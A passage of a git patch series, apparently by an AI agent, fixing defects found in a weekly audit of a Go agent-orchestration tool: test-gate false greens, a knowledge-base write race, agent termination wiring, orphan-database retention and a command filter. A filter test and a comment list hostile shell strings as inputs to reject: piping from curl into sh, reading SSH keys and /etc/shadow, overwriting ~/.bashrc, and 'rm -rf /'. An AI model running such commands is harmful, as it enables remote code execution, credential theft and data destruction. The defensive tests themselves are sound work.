From cf289061ba8e81220d9441a14a7e5f92cf0fa06e Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 20 Jul 2026 05:34:53 +0000 Subject: [PATCH 1/3] =?UTF-8?q?fix:=20weekly=20cloud=20audit=20=E2=80=94?= =?UTF-8?q?=206=20verified=20defects=20(gate=20false-green,=20security-KB?= =?UTF-8?q?=20race,=20projection=20wiring,=20orphan-DB=20retention,=20inve?= =?UTF-8?q?stigator=20filter)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Automated weekly audit of the default branch. Fanned out parallel sub-agents across concurrency / silent-failure / event-sourcing-wiring / security, and adversarially verified each candidate before fixing. Every fix has a regression test. - engine/verification_loop: the completion gate reported green on code whose tests do not compile. parseGoTestJSON skipped go-test-json events with an empty Test field, so package-level compile failures (build-fail / FailedBuild, no Test field) counted as 0 failing while `go build ./...` (which skips _test.go) passed — REQ_COMPLETED on a non-compiling suite. Count package-level build failures; treat a non-zero `go test` exit with 0 parsed failures as a structural failure. Also thread ctx + bounded timeouts through checkTests / ensureDependencies so a hung LLM-generated test can't wedge the gate forever. - security/knowledge + engine/security_gate: concurrent story pipelines share one SecurityGate with no lock and a truncating os.WriteFile, so two stories that both learn a rule race their KB writes — a torn write yields invalid JSON, and since LoadKnowledgeBase only falls back to baseline on a MISSING file, that permanently and silently disables the security gate. Make Save atomic (temp + rename) and serialize load→merge→save under a mutex, reloading the persisted KB so concurrent stories don't clobber each other's learned rules. - state/sqlite: AGENT_TERMINATED was emitted by the dashboard kill handler and the controller (both call Project expecting a mutation) but had no case in the projection switch, so it silently no-op'd — killed agents stayed status='idle' with a live session→story mapping that crash recovery kept consuming. Add the case; set status='terminated' and clear current_story_id. - devdb/recovery: ReleaseOrphans' retention window (RetainHours/minAge) was dead on the docker path — the provider never populates CreatedAt, and a zero time is always Before(cutoff), so every orphan was reaped regardless of retention, including another concurrent requirement's in-use databases. Fail safe: keep orphans whose CreatedAt is zero (unknown age) for human review. - engine/investigator: the run_command shell filter blocked chaining but left redirection (> <), background (&), and bare variable expansion ($) open, so an allowlisted prefix could write/exfiltrate outside the repo before sh -c. Reject the same canonical metacharacter set the native runtime already enforces. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01UPCbBB875JzQVMetfqqido --- internal/devdb/recovery.go | 9 +- internal/devdb/recovery_test.go | 29 ++++++ internal/engine/investigator.go | 15 ++- .../engine/investigator_allowlist_test.go | 32 +++++++ internal/engine/security_gate.go | 32 +++++++ internal/engine/verification_loop.go | 96 +++++++++++++++---- internal/engine/verification_loop_test.go | 91 ++++++++++++++++++ internal/security/coverage_gaps_test.go | 9 +- internal/security/knowledge.go | 32 ++++++- internal/security/knowledge_test.go | 55 +++++++++++ internal/state/sqlite.go | 24 +++++ internal/state/sqlite_project_test.go | 54 +++++++++++ 12 files changed, 449 insertions(+), 29 deletions(-) create mode 100644 internal/engine/verification_loop_test.go diff --git a/internal/devdb/recovery.go b/internal/devdb/recovery.go index 8c57cf3..0d6553a 100644 --- a/internal/devdb/recovery.go +++ b/internal/devdb/recovery.go @@ -43,7 +43,14 @@ func ReleaseOrphans(ctx context.Context, p Provider, orphans []DB, minAge time.D cutoff := time.Now().Add(-minAge) var firstErr error for _, db := range orphans { - if db.CreatedAt.After(cutoff) { + // Fail safe on unknown age. The docker provider (the production path) + // cannot recover a per-database creation time from Postgres, so its + // orphans carry a zero CreatedAt. A zero time is always Before(cutoff), + // which would silently defeat the entire retention window — every + // orphan deleted regardless of minAge/RetainHours, including another + // concurrent requirement's still-in-use databases. Treat unknown age + // as "too young to reap; keep for human review" instead. + if db.CreatedAt.IsZero() || db.CreatedAt.After(cutoff) { kept = append(kept, db) continue } diff --git a/internal/devdb/recovery_test.go b/internal/devdb/recovery_test.go index 48891e9..f932bcb 100644 --- a/internal/devdb/recovery_test.go +++ b/internal/devdb/recovery_test.go @@ -65,3 +65,32 @@ func TestReleaseOrphans_HonorsMinAge(t *testing.T) { t.Errorf("provider delete calls = %v", p.deleted) } } + +// TestReleaseOrphans_ZeroCreatedAtKeptNotDeleted locks in the fail-safe for +// orphans whose age is unknown. The docker provider never populates CreatedAt +// (Postgres exposes no reliable per-database creation time), so its orphans +// carry a zero timestamp. A zero time is always Before(cutoff); without the +// guard the retention window (minAge/RetainHours) is silently defeated and +// every docker orphan — including another concurrent requirement's in-use +// databases — is deleted regardless of the configured retention. +func TestReleaseOrphans_ZeroCreatedAtKeptNotDeleted(t *testing.T) { + p := &listProvider{ + Provider: null.New(), + dbs: []devdb.DB{ + {ID: "unknown-age", Name: "nxd-x-story-1"}, // zero CreatedAt (docker path) + }, + } + deleted, kept, err := devdb.ReleaseOrphans(context.Background(), p, p.dbs, 24*time.Hour) + if err != nil { + t.Fatal(err) + } + if len(deleted) != 0 { + t.Errorf("an orphan with unknown (zero) CreatedAt must NOT be deleted; deleted = %+v", deleted) + } + if len(kept) != 1 || kept[0].ID != "unknown-age" { + t.Errorf("kept = %+v, want [unknown-age]", kept) + } + if len(p.deleted) != 0 { + t.Errorf("provider Delete must not be called for unknown-age orphans; got %v", p.deleted) + } +} diff --git a/internal/engine/investigator.go b/internal/engine/investigator.go index a181cda..9192b64 100644 --- a/internal/engine/investigator.go +++ b/internal/engine/investigator.go @@ -105,13 +105,18 @@ func (inv *Investigator) isCommandAllowed(command string) bool { return false } - // Reject shell chaining operators FIRST, before the empty-allowlist + // Reject shell metacharacters FIRST, before the empty-allowlist // short-circuit. Otherwise a config with an explicitly empty // command_allowlist would allow injection like "ls; curl evil | sh". - for _, ch := range []string{";", "&&", "||", "|", "$(", "`", "\n"} { - if strings.Contains(trimmed, ch) { - return false - } + // + // Use the SAME canonical set as the native runtime's run_command guard + // (runtime/gemma.go isCommandAllowed) so the two enforcement points can't + // drift. The old set only blocked chaining (; && || | $( ` \n) and left + // redirection (> <), background (&), bare variable expansion ($HOME), and + // \r \t \x00 \ open — so an allowlisted prefix like "cat" or "grep" could + // still clobber files outside the repo, e.g. `cat x > ~/.bashrc`. + if strings.ContainsAny(trimmed, ";&|$`<>\n\r\t\x00\\") { + return false } if len(inv.commandAllowlist) == 0 { diff --git a/internal/engine/investigator_allowlist_test.go b/internal/engine/investigator_allowlist_test.go index 09da291..54390c1 100644 --- a/internal/engine/investigator_allowlist_test.go +++ b/internal/engine/investigator_allowlist_test.go @@ -57,6 +57,38 @@ func TestInvestigator_CommandAllowlist_EmptyStillRejectsChaining(t *testing.T) { } } +// The investigator's filter must match the native runtime's canonical +// metacharacter set. These were open before the fix: an allowlisted prefix +// combined with redirection / background / bare variable expansion could write +// or exfiltrate outside the repo without any chaining operator. +func TestInvestigator_CommandAllowlist_RejectsRedirectionAndExpansion(t *testing.T) { + inv := NewInvestigator(nil, "", 0) + inv.SetCommandAllowlist([]string{"cat", "grep", "ls"}) + + cases := map[string]string{ + "output redirection clobbering a file outside the repo": "cat internal/secret > /home/user/.bashrc", + "append redirection": "grep -r . >> /home/user/.profile", + "input redirection": "cat < /etc/shadow", + "background execution": "ls & curl evil.com", + "bare variable expansion": "cat $HOME/.ssh/id_rsa", + "brace variable expansion": "ls ${IFS}", + "backslash escape": "ls \\;", + "carriage-return smuggling": "ls\rrm -rf /", + } + for name, cmd := range cases { + if inv.isCommandAllowed(cmd) { + t.Errorf("%s must be rejected: %q", name, cmd) + } + } + + // The tightening must not break legitimate allowlisted commands. + for _, ok := range []string{"cat lib.go", "grep -rn foo .", "ls -la"} { + if !inv.isCommandAllowed(ok) { + t.Errorf("legitimate command wrongly rejected: %q", ok) + } + } +} + func TestInvestigator_CommandAllowlist_RejectsPipe(t *testing.T) { inv := NewInvestigator(nil, "", 0) inv.SetCommandAllowlist([]string{"grep"}) diff --git a/internal/engine/security_gate.go b/internal/engine/security_gate.go index d88433b..221d14a 100644 --- a/internal/engine/security_gate.go +++ b/internal/engine/security_gate.go @@ -6,6 +6,7 @@ import ( "fmt" "log" "strings" + "sync" "time" "github.com/tzone85/nexus-dispatch/internal/llm" @@ -37,6 +38,13 @@ type SecurityGate struct { eventStore state.EventStore projStore state.ProjectionStore + // upskillMu serializes the load→merge→save of the knowledge base. The + // pipeline runs one postExecutionPipeline goroutine per completed story + // (monitor.go), all sharing this one SecurityGate; without this lock two + // stories in the same wave race their KB writes and lose each other's + // learned rules. + upskillMu sync.Mutex + // seams scan scanFunc now func() time.Time @@ -178,7 +186,31 @@ func (g *SecurityGate) blockSummary(report security.Report) string { // class (CWE if present, else tool rule id) is not already in the knowledge // base, persists the grown KB, and emits SECURITY_RULE_LEARNED per new class. func (g *SecurityGate) upskill(kb *security.KnowledgeBase, findings []security.Finding) { + // Fast pre-check: if nothing here is a learnable class, skip the lock and + // the disk reload entirely (the common case). + hasCandidate := false + for _, f := range findings { + if f.Severity.AtLeast(security.SeverityHigh) && vulnClassID(f) != "" { + hasCandidate = true + break + } + } + if !hasCandidate { + return + } + + // Serialize the load→merge→save so concurrent story pipelines don't clobber + // each other's learned rules. + g.upskillMu.Lock() + defer g.upskillMu.Unlock() + + // Re-load the persisted KB under the lock so we merge onto the freshest + // saved state (another story in this wave may have just learned a rule). + // Fall back to the caller's snapshot if the reload fails. grown := kb + if reloaded, err := security.LoadKnowledgeBase(g.kbPath); err == nil { + grown = reloaded + } learned := 0 for _, f := range findings { if !f.Severity.AtLeast(security.SeverityHigh) { diff --git a/internal/engine/verification_loop.go b/internal/engine/verification_loop.go index 518fc7d..44b13ea 100644 --- a/internal/engine/verification_loop.go +++ b/internal/engine/verification_loop.go @@ -9,8 +9,33 @@ import ( "os/exec" "path/filepath" "strings" + "time" ) +const ( + // depsInstallTimeout bounds `go mod download` / `npm install` on the + // composed mainline so a stalled registry fetch cannot wedge the + // completion gate forever. + depsInstallTimeout = 5 * time.Minute + // testRunTimeout bounds the composed-mainline test suite. That suite runs + // LLM-generated code; a single hung test (infinite loop, blocked on + // stdin/network) must not block REQ_COMPLETED / REQ_BLOCKED forever. + // Generous so large real suites still finish. + testRunTimeout = 15 * time.Minute +) + +// boundedContext returns ctx with a timeout guaranteed. If ctx already carries +// a deadline it is passed through (only wrapped for cancellation); otherwise a +// backstop timeout is applied so verification subprocesses are always bounded +// AND remain cancellable via the caller's ctx. The returned cancel must always +// be called. +func boundedContext(ctx context.Context, d time.Duration) (context.Context, context.CancelFunc) { + if _, ok := ctx.Deadline(); ok { + return context.WithCancel(ctx) + } + return context.WithTimeout(ctx, d) +} + // VerificationResult holds the outcome of a post-completion verification cycle. type VerificationResult struct { BuildPasses bool @@ -44,13 +69,13 @@ func RunVerificationLoop(ctx context.Context, repoDir string, cycle int) Verific result := VerificationResult{} // Step 1: Ensure dependencies are installed - result.DepsInstalled = ensureDependencies(repoDir) + result.DepsInstalled = ensureDependencies(ctx, repoDir) // Step 2: Check build - result.BuildPasses = checkBuild(repoDir) + result.BuildPasses = checkBuild(ctx, repoDir) // Step 3: Run tests - result.TestsPassing, result.TestsFailing, result.TestsTotal = checkTests(repoDir) + result.TestsPassing, result.TestsFailing, result.TestsTotal = checkTests(ctx, repoDir) // Step 4: Scan for hallucination artifacts hallucinations := scanForHallucinations(repoDir) @@ -99,10 +124,14 @@ func RunVerificationLoop(ctx context.Context, repoDir string, cycle int) Verific } // ensureDependencies runs the appropriate install command for the project. -func ensureDependencies(repoDir string) bool { +// The command is bounded (and cancellable via ctx) so a stalled registry +// fetch cannot hang the completion gate indefinitely. +func ensureDependencies(ctx context.Context, repoDir string) bool { + cctx, cancel := boundedContext(ctx, depsInstallTimeout) + defer cancel() if buildFileExists(filepath.Join(repoDir, "package.json")) { log.Printf("[verify] running npm install ...") - cmd := exec.Command("npm", "install") + cmd := exec.CommandContext(cctx, "npm", "install") cmd.Dir = repoDir cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr @@ -113,7 +142,7 @@ func ensureDependencies(repoDir string) bool { return true } if buildFileExists(filepath.Join(repoDir, "go.mod")) { - cmd := exec.Command("go", "mod", "download") + cmd := exec.CommandContext(cctx, "go", "mod", "download") cmd.Dir = repoDir if err := cmd.Run(); err != nil { log.Printf("[verify] go mod download failed: %v", err) @@ -125,8 +154,8 @@ func ensureDependencies(repoDir string) bool { } // checkBuild attempts to build the project. -func checkBuild(repoDir string) bool { - if err := validateBuild(context.Background(), repoDir); err != nil { +func checkBuild(ctx context.Context, repoDir string) bool { + if err := validateBuild(ctx, repoDir); err != nil { log.Printf("[verify] build failed: %v", err) return false } @@ -135,17 +164,22 @@ func checkBuild(repoDir string) bool { } // checkTests runs the project's test suite and returns pass/fail/total counts. -func checkTests(repoDir string) (passing, failing, total int) { +// The suite is bounded (and cancellable via ctx) so a hung test in the +// LLM-generated composed mainline cannot wedge the completion gate forever. +func checkTests(ctx context.Context, repoDir string) (passing, failing, total int) { + cctx, cancel := boundedContext(ctx, testRunTimeout) + defer cancel() + var cmd *exec.Cmd if buildFileExists(filepath.Join(repoDir, "package.json")) { - cmd = exec.Command("npx", "jest", "--passWithNoTests", "--json") + cmd = exec.CommandContext(cctx, "npx", "jest", "--passWithNoTests", "--json") // Also try vitest if buildFileExists(filepath.Join(repoDir, "vitest.config.ts")) || buildFileExists(filepath.Join(repoDir, "vitest.config.js")) { - cmd = exec.Command("npx", "vitest", "run", "--reporter=json") + cmd = exec.CommandContext(cctx, "npx", "vitest", "run", "--reporter=json") } } else if buildFileExists(filepath.Join(repoDir, "go.mod")) { - cmd = exec.Command("go", "test", "-count=1", "-json", "./...") + cmd = exec.CommandContext(cctx, "go", "test", "-count=1", "-json", "./...") } if cmd == nil { @@ -154,11 +188,23 @@ func checkTests(repoDir string) (passing, failing, total int) { } cmd.Dir = repoDir - out, _ := cmd.CombinedOutput() + out, err := cmd.CombinedOutput() output := string(out) if buildFileExists(filepath.Join(repoDir, "go.mod")) { - return parseGoTestJSON(output) + passing, failing, total = parseGoTestJSON(output) + // `go test` exiting non-zero while we parsed zero failing tests means + // the failure is structural — a test-file compile error (which + // `go build ./...` never catches), a `go vet` failure baked into + // `go test`, or a tooling error whose output was not valid JSON. Count + // it so the completion gate never reports green on a red suite. Bounds + // against the false 0/0/0 that would otherwise pass ShouldRunFixCycle. + if err != nil && failing == 0 { + log.Printf("[verify] go test exited non-zero with no parsed test failures (structural failure): %v", err) + failing = 1 + total = passing + failing + } + return passing, failing, total } // Parse test results (simplified — count PASS/FAIL lines) @@ -194,10 +240,26 @@ func parseGoTestJSON(output string) (passing, failing, total int) { continue } var evt struct { - Action string `json:"Action"` - Test string `json:"Test"` + Action string `json:"Action"` + Test string `json:"Test"` + FailedBuild string `json:"FailedBuild"` + } + if err := json.Unmarshal([]byte(line), &evt); err != nil { + continue + } + // A test-package compile failure surfaces ONLY here: `go build ./...` + // skips _test.go files, so a story that breaks another story's test + // (e.g. a changed signature) still builds green. `go test -json` + // reports it as a package-scoped "build-fail" action, or a package + // "fail" carrying a FailedBuild field — neither has a Test field, so + // the per-test switch below would drop them and report a false 0 + // failing. Count them so the completion gate cannot pass a suite that + // does not even compile. + if evt.Action == "build-fail" || evt.FailedBuild != "" { + failing++ + continue } - if err := json.Unmarshal([]byte(line), &evt); err != nil || evt.Test == "" { + if evt.Test == "" { continue } switch evt.Action { diff --git a/internal/engine/verification_loop_test.go b/internal/engine/verification_loop_test.go new file mode 100644 index 0000000..96d3f52 --- /dev/null +++ b/internal/engine/verification_loop_test.go @@ -0,0 +1,91 @@ +package engine + +import ( + "context" + "os" + "path/filepath" + "testing" +) + +// TestParseGoTestJSON_CountsTestCompileFailure locks in the fix for the +// completion-gate false-green: when a package's _test.go files fail to +// compile, `go test -json` reports the failure only as package-scoped events +// ("build-fail" and a "fail" carrying FailedBuild) that have NO Test field. +// The old parser skipped every event with an empty Test field, so it returned +// 0 failing and the gate reported green on a suite that does not compile. +func TestParseGoTestJSON_CountsTestCompileFailure(t *testing.T) { + // Verbatim shape emitted by `go test -count=1 -json ./...` for a package + // whose test file references an undefined symbol. + output := `{"ImportPath":"vtest [vtest.test]","Action":"build-output","Output":"# vtest [vtest.test]\n"} +{"ImportPath":"vtest [vtest.test]","Action":"build-output","Output":"./lib_test.go:5:5: undefined: AddOldName\n"} +{"ImportPath":"vtest [vtest.test]","Action":"build-fail"} +{"Time":"2026-07-20T05:17:41Z","Action":"start","Package":"vtest"} +{"Time":"2026-07-20T05:17:41Z","Action":"output","Package":"vtest","Output":"FAIL\tvtest [build failed]\n"} +{"Time":"2026-07-20T05:17:41Z","Action":"fail","Package":"vtest","Elapsed":0,"FailedBuild":"vtest [vtest.test]"}` + + passing, failing, _ := parseGoTestJSON(output) + if passing != 0 { + t.Errorf("expected 0 passing on a compile failure, got %d", passing) + } + if failing == 0 { + t.Fatal("BUG: a test-compile failure was parsed as 0 failing — the completion gate would report green on non-compiling tests") + } +} + +// TestParseGoTestJSON_NormalResultsUnaffected guards against over-counting: a +// clean run and a genuine test failure must still parse to the expected +// counts. A package-level "fail" WITHOUT FailedBuild (a real assertion +// failure) must not be counted twice. +func TestParseGoTestJSON_NormalResultsUnaffected(t *testing.T) { + pass := `{"Action":"run","Test":"TestA"} +{"Action":"pass","Test":"TestA"} +{"Action":"pass","Package":"p"}` + if p, f, _ := parseGoTestJSON(pass); p != 1 || f != 0 { + t.Errorf("clean run: want 1 pass / 0 fail, got %d/%d", p, f) + } + + // One failing test → exactly one failure (the per-test "fail"); the + // package-level "fail" without FailedBuild must not add a second. + fail := `{"Action":"run","Test":"TestA"} +{"Action":"fail","Test":"TestA"} +{"Action":"fail","Package":"p"}` + if p, f, _ := parseGoTestJSON(fail); p != 0 || f != 1 { + t.Errorf("failing run: want 0 pass / 1 fail, got %d/%d", p, f) + } +} + +// TestRunVerificationLoop_NonCompilingTests_NotGreen is the end-to-end +// regression: a module whose non-test code builds cleanly but whose _test.go +// does not compile must NOT be reported as verifiable-green. `go build ./...` +// passes (it skips _test.go), so before the fix TestsFailing was 0 and +// ShouldRunFixCycle returned false — the gate would emit REQ_COMPLETED. +func TestRunVerificationLoop_NonCompilingTests_NotGreen(t *testing.T) { + if testing.Short() { + t.Skip("skipping real go toolchain verification in -short mode") + } + repoDir := t.TempDir() + mustWrite(t, filepath.Join(repoDir, "go.mod"), "module vcheck\n\ngo 1.21\n") + mustWrite(t, filepath.Join(repoDir, "lib.go"), "package vcheck\n\nfunc Add(a, b int) int { return a + b }\n") + // Non-test code builds; the test references an undefined symbol. + mustWrite(t, filepath.Join(repoDir, "lib_test.go"), + "package vcheck\n\nimport \"testing\"\n\nfunc TestAdd(t *testing.T) {\n\tif AddOldName(1, 2) != 3 {\n\t\tt.Fail()\n\t}\n}\n") + + result := RunVerificationLoop(context.Background(), repoDir, 1) + + if !result.BuildPasses { + t.Fatalf("precondition: `go build ./...` should pass (it skips _test.go); got BuildPasses=false") + } + if result.TestsFailing == 0 { + t.Fatal("BUG: non-compiling tests reported 0 failing — completion gate would false-green") + } + if !ShouldRunFixCycle(result) { + t.Error("ShouldRunFixCycle should be true when the composed mainline's tests do not compile") + } +} + +func mustWrite(t *testing.T, path, body string) { + t.Helper() + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatalf("write %s: %v", path, err) + } +} diff --git a/internal/security/coverage_gaps_test.go b/internal/security/coverage_gaps_test.go index 2043e90..5fb572e 100644 --- a/internal/security/coverage_gaps_test.go +++ b/internal/security/coverage_gaps_test.go @@ -60,12 +60,15 @@ func TestSave_ParentDirCreationFailure(t *testing.T) { } func TestSave_WriteFailure(t *testing.T) { - // Path IS a directory — WriteFile fails after MkdirAll succeeds. + // Path IS a directory. Save writes a temp file then atomically renames it + // into place; the rename onto an existing directory fails, so the error + // now surfaces at that step. The contract under test is unchanged: saving + // to an unwritable target must fail loudly, never silently succeed. dir := t.TempDir() kb := BaselineKnowledgeBase() err := kb.Save(dir) - if err == nil || !strings.Contains(err.Error(), "write knowledge base") { - t.Errorf("want write error, got %v", err) + if err == nil || !strings.Contains(err.Error(), "knowledge base") { + t.Errorf("want a knowledge-base save error, got %v", err) } } diff --git a/internal/security/knowledge.go b/internal/security/knowledge.go index 27bc6d0..393b084 100644 --- a/internal/security/knowledge.go +++ b/internal/security/knowledge.go @@ -127,16 +127,42 @@ func (kb *KnowledgeBase) Checklist(langs []string) string { } // Save writes the knowledge base to path as indented JSON, creating parent dirs. +// +// The write is atomic (temp file + rename). Concurrent story pipelines can each +// upskill and Save the same kbPath; a plain truncating os.WriteFile could +// interleave two writers into invalid JSON, and LoadKnowledgeBase only falls +// back to the baseline when the file is MISSING — a corrupt file returns an +// error forever, permanently and silently disabling the security gate. Rename +// is atomic on POSIX filesystems, so a reader sees either the old or the new +// file, never a torn one. func (kb *KnowledgeBase) Save(path string) error { - if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + dir := filepath.Dir(path) + if err := os.MkdirAll(dir, 0o700); err != nil { return fmt.Errorf("create knowledge dir: %w", err) } data, err := json.MarshalIndent(kb, "", " ") if err != nil { return fmt.Errorf("marshal knowledge base: %w", err) } - if err := os.WriteFile(path, data, 0o600); err != nil { - return fmt.Errorf("write knowledge base: %w", err) + tmp, err := os.CreateTemp(dir, ".knowledge-*.tmp") + if err != nil { + return fmt.Errorf("create temp knowledge file: %w", err) + } + tmpName := tmp.Name() + defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename + if err := tmp.Chmod(0o600); err != nil { + tmp.Close() + return fmt.Errorf("chmod temp knowledge file: %w", err) + } + if _, err := tmp.Write(data); err != nil { + tmp.Close() + return fmt.Errorf("write temp knowledge file: %w", err) + } + if err := tmp.Close(); err != nil { + return fmt.Errorf("close temp knowledge file: %w", err) + } + if err := os.Rename(tmpName, path); err != nil { + return fmt.Errorf("rename knowledge base into place: %w", err) } return nil } diff --git a/internal/security/knowledge_test.go b/internal/security/knowledge_test.go index ca1bd4d..5a7e4b0 100644 --- a/internal/security/knowledge_test.go +++ b/internal/security/knowledge_test.go @@ -3,6 +3,8 @@ package security import ( "path/filepath" "strings" + "sync" + "sync/atomic" "testing" ) @@ -151,6 +153,59 @@ func TestKnowledgeBase_SaveLoad_RoundTrip(t *testing.T) { } } +// TestKnowledgeBase_Save_AtomicUnderConcurrency exercises the atomic-write fix: +// many goroutines Save distinct knowledge bases to the same path while another +// set repeatedly Loads it. A non-atomic truncating write (the previous +// os.WriteFile) can be observed mid-write, so a concurrent Load would parse a +// torn file and error — and because LoadKnowledgeBase only falls back to the +// baseline on a MISSING file, that corruption would permanently disable the +// gate. With temp-file + rename, every Load must see a complete, valid KB. +func TestKnowledgeBase_Save_AtomicUnderConcurrency(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "knowledge.json") + if err := BaselineKnowledgeBase().Save(path); err != nil { + t.Fatalf("seed save: %v", err) + } + + var wg sync.WaitGroup + var loadErr atomic.Pointer[error] + + for i := 0; i < 20; i++ { + wg.Add(1) + go func(n int) { + defer wg.Done() + kb := BaselineKnowledgeBase().Add(VulnRule{ + ID: "CWE-90" + string(rune('0'+n%10)), Title: "concurrent", + Detection: "d", Remediation: "r", Severity: SeverityHigh, + Source: RuleLearned, AddedAt: "2026-07-20T00:00:00Z", + }) + if err := kb.Save(path); err != nil { + e := err + loadErr.CompareAndSwap(nil, &e) + } + }(i) + } + for i := 0; i < 40; i++ { + wg.Add(1) + go func() { + defer wg.Done() + if _, err := LoadKnowledgeBase(path); err != nil { + e := err + loadErr.CompareAndSwap(nil, &e) + } + }() + } + wg.Wait() + + if e := loadErr.Load(); e != nil { + t.Fatalf("observed a torn read/write during concurrent Save/Load: %v", *e) + } + // The file must still be a valid, loadable KB afterward. + if _, err := LoadKnowledgeBase(path); err != nil { + t.Fatalf("final knowledge base is corrupt: %v", err) + } +} + func TestLoadKnowledgeBase_MissingFileReturnsBaseline(t *testing.T) { kb, err := LoadKnowledgeBase(filepath.Join(t.TempDir(), "does-not-exist.json")) if err != nil { diff --git a/internal/state/sqlite.go b/internal/state/sqlite.go index 3e16ebe..1be098f 100644 --- a/internal/state/sqlite.go +++ b/internal/state/sqlite.go @@ -220,6 +220,8 @@ func (s *SQLiteStore) Project(evt Event) error { return s.projectStoryCreated(payload) case EventAgentSpawned: return s.projectAgentSpawned(evt, payload) + case EventAgentTerminated: + return s.projectAgentTerminated(evt) case EventStoryEstimated: return s.updateStoryStatus(evt.StoryID, "estimated") case EventStoryAssigned: @@ -774,6 +776,28 @@ func (s *SQLiteStore) projectAgentSpawned(evt Event, payload map[string]any) err return nil } +// projectAgentTerminated marks an agent row terminated from an AGENT_TERMINATED +// event (dashboard "kill agent" and the controller's auto-cancel both emit it +// and call Project expecting a mutation). Without this the row stayed +// status='idle' with its session_name/current_story_id still populated forever, +// so `nxd agents`, the dashboard agents panel, and crash recovery's +// session→story map (buildSessionStoryMap) all saw a dead agent as a live idle +// one — recovery could then try to reconcile an already-killed tmux session. +// The dashboard already renders a "terminated" status (agentStatusStyle); this +// is the projection wiring it was waiting on. current_story_id is cleared so +// the recovery map drops the dead session. Keyed by agent id — the controller's +// event carries AgentID="controller" and simply matches no row, which is fine. +func (s *SQLiteStore) projectAgentTerminated(evt Event) error { + _, err := s.db.Exec( + `UPDATE agents SET status = 'terminated', current_story_id = '', updated_at = CURRENT_TIMESTAMP WHERE id = ?`, + evt.AgentID, + ) + if err != nil { + return fmt.Errorf("project agent terminated: %w", err) + } + return nil +} + // InsertAgent inserts an agent record directly into the agents table. // Convenience for tests and direct seeding; live runs populate the table via // the AGENT_SPAWNED projection (projectAgentSpawned). diff --git a/internal/state/sqlite_project_test.go b/internal/state/sqlite_project_test.go index 0e88014..7386306 100644 --- a/internal/state/sqlite_project_test.go +++ b/internal/state/sqlite_project_test.go @@ -85,3 +85,57 @@ func TestProject_AllEventTypes_NoErrors(t *testing.T) { t.Errorf("expected at least 1 requirement in projection; got %d", len(reqs)) } } + +// TestProject_AgentTerminated_TransitionsRow locks in the wiring fix: an +// AGENT_TERMINATED event (dashboard kill / controller auto-cancel) must +// transition the agent row to status='terminated' and clear its +// current_story_id. Before the fix the event fell through Project's default +// case and silently no-op'd, so a killed agent stayed status='idle' with a +// live session→story mapping that crash recovery still consumed. +func TestProject_AgentTerminated_TransitionsRow(t *testing.T) { + ps, err := NewSQLiteStore(filepath.Join(t.TempDir(), "nxd.db")) + if err != nil { + t.Fatalf("NewSQLiteStore: %v", err) + } + defer func() { _ = ps.Close() }() + + spawn := NewEvent(EventAgentSpawned, "agent-42", "S1", map[string]any{ + "role": "junior", "session_name": "nxd-S1", + }) + if err := ps.Project(spawn); err != nil { + t.Fatalf("project spawn: %v", err) + } + + // Precondition: the spawned agent is idle and mapped to its story. + idle, err := ps.ListAgents(AgentFilter{Status: "idle"}) + if err != nil { + t.Fatalf("list idle: %v", err) + } + if len(idle) != 1 || idle[0].CurrentStoryID != "S1" { + t.Fatalf("precondition: want 1 idle agent on S1, got %+v", idle) + } + + // Kill it. + term := NewEvent(EventAgentTerminated, "agent-42", "", map[string]any{ + "reason": "killed from dashboard", "source": "dashboard", + }) + if err := ps.Project(term); err != nil { + t.Fatalf("project terminate: %v", err) + } + + // The agent must no longer be idle... + if idle, _ := ps.ListAgents(AgentFilter{Status: "idle"}); len(idle) != 0 { + t.Errorf("killed agent still listed as idle: %+v", idle) + } + // ...it must be terminated with its story mapping cleared. + term2, err := ps.ListAgents(AgentFilter{Status: "terminated"}) + if err != nil { + t.Fatalf("list terminated: %v", err) + } + if len(term2) != 1 { + t.Fatalf("want 1 terminated agent, got %d", len(term2)) + } + if term2[0].CurrentStoryID != "" { + t.Errorf("terminated agent should have current_story_id cleared, got %q", term2[0].CurrentStoryID) + } +} From f995c2fcf92bc5131b7d258ff8cc8c34276ac570 Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 20 Jul 2026 05:41:37 +0000 Subject: [PATCH 2/3] fix: coverage_above gate reads only the first package's coverage (false green) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit internal/criteria/evaluator.go — evalCoverageAbove defaults its target to "./..." and passed `go test -cover ./...` output to parseCoverage, whose FindStringSubmatch returns only the FIRST "coverage: X%" line. With one line per package, the gate read only the alphabetically-first package's number: a repo where package aaa is 100% and package zzz is 5% passed a `coverage_above: 80` criterion. Compute the statement-weighted aggregate from a merged -coverprofile via `go tool cover -func` (total: line) instead, falling back to the old parse only when the profile can't be reduced. Regression test: TestCoverageAbove_MultiPackage_AggregatesNotFirstPackage. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01UPCbBB875JzQVMetfqqido --- internal/criteria/evaluator.go | 56 +++++++++++++++++++++++++++-- internal/criteria/evaluator_test.go | 50 ++++++++++++++++++++++++++ 2 files changed, 103 insertions(+), 3 deletions(-) diff --git a/internal/criteria/evaluator.go b/internal/criteria/evaluator.go index 1de2263..9683ce5 100644 --- a/internal/criteria/evaluator.go +++ b/internal/criteria/evaluator.go @@ -159,7 +159,21 @@ func evalCoverageAbove(ctx context.Context, workDir string, c Criterion) Result return Result{Criterion: c, Passed: false, Message: fmt.Sprintf("invalid threshold: %s", c.Expected)} } - cmd := exec.CommandContext(ctx, "go", "test", "-cover", target) + // Write a merged coverage profile so we can measure the AGGREGATE coverage + // of the whole target. `go test -cover ./...` prints one "coverage: X%" + // line PER package; reading just the first (as a bare regex does) lets the + // gate pass on the alphabetically-first package while every other package + // is far below threshold — a false green on a gating check. `go tool cover + // -func` collapses the profile into one statement-weighted "total:" line. + profile, err := os.CreateTemp("", "nxd-cover-*.out") + if err != nil { + return Result{Criterion: c, Passed: false, Message: fmt.Sprintf("create coverage profile: %v", err)} + } + profilePath := profile.Name() + _ = profile.Close() + defer func() { _ = os.Remove(profilePath) }() + + 